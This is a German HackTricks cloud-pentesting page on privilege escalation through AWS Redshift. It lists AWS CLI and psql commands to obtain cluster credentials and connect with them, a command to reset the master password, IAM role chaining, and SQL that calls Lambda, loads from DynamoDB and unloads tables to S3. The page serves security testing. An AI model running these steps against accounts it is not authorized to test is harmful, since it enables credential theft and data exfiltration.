AWS - Redshift Privesc
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Redshift
Für weitere Informationen zu RDS siehe:
redshift:DescribeClusters, redshift:GetClusterCredentials
Mit diesen Berechtigungen kannst du Informationen zu allen Clustern (einschließlich Name und Cluster-Benutzername) erhalten und Anmeldeinformationen zum Zugriff darauf abrufen:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Mögliche Auswirkungen: Vertrauliche Informationen in den Datenbanken finden.
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
Mit diesen Berechtigungen kannst du Informationen aller Cluster abrufen und Zugangsdaten erhalten, um darauf zuzugreifen.
Beachte, dass der postgres user die Berechtigungen, die die IAM identity zum Abrufen der Zugangsdaten hatte, übernimmt.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Mögliche Auswirkungen: Sensible Informationen in den Datenbanken finden.
redshift:DescribeClusters, redshift:ModifyCluster?
Es ist möglich, über die aws cli das Master-Passwort des internen postgres (redshit) Benutzers zu ändern (ich denke, das sind die Berechtigungen, die du brauchst, aber ich habe sie noch nicht getestet):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Potentielle Auswirkungen: Sensible Informationen in den Datenbanken finden.
Zugriff auf externe Dienste
warning
Um auf alle folgenden Ressourcen zuzugreifen, müssen Sie die zu verwendende Rolle angeben. Ein Redshift-Cluster kann eine Liste von AWS-Rollen zugewiesen haben, die Sie verwenden können wenn Sie die ARN kennen, oder Sie können einfach "default" setzen, um die standardmäßig zugewiesene Rolle zu verwenden.
Außerdem, wie hier erklärt, erlaubt Redshift Rollen zu verketten (sofern die erste die zweite annehmen kann), um weitergehenden Zugriff zu erhalten, indem Sie sie einfach mit einem Komma trennen: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
Wie in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html erklärt, ist es möglich, eine Lambda-Funktion aus Redshift aufzurufen mit etwas wie:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Wie in https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html erklärt, ist es möglich, in S3 buckets zu lesen und zu schreiben:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Wie in https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html erklärt, ist es möglich, Daten aus dynamodb abzurufen:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
warning
Die Amazon DynamoDB-Tabelle, die die Daten bereitstellt, muss in derselben AWS Region wie Ihr Cluster erstellt werden, es sei denn, Sie verwenden die REGION-Option, um die AWS Region anzugeben, in der sich die Amazon DynamoDB-Tabelle befindet.
EMR
Siehe https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
Referenzen
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud